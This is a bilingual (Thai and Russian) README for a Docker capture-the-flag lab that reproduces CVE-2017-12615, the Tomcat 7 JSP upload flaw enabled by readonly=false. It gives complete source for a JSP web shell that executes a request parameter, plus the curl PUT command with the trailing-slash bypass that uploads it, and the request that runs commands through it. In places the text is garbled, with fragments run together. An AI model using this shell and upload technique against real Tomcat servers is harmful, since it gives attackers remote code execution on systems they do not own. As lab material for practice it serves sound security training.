CVE-2017-12615 Tomcat: Удаленное выполнение кода через загрузку JSP — домашняя лаборатория для Red Teaming и тестирования на проникновение
Lab นี้จำลองช่องโหว่ CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
เกิดจากการตั้งค่า readonly=false ทำให้สามารถอัปโหลดไฟล์ผ่าน HTTP PUT ได้ รวมถึงไฟล์ .jsp ที่สามารถรันคำสั่ง (RCE)
readonly=false.jsp методом PUT в корневой веб-каталог ROOTflag_RANDOM.txt при каждом запуске контейнера/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
เปิดเว็บ:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ ท้ายชื่อไฟล์)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
เก็บไว้ใน:
/tmp/flag_RANDOM.txt
Эта лаборатория симулирует CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, когда DefaultServlet Apache Tomcat неправильно настроен с:
readonly=false
Это позволяет злоумышленникам загружать файлы .jsp через HTTP PUT, что приводит к удаленному выполнению кода.
readonly=false.jsp в корневой веб-каталог ROOTflag_RANDOM.txt при запуске контейнераcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
Только для образовательных, исследовательских и авторизованных тестов на проникновение.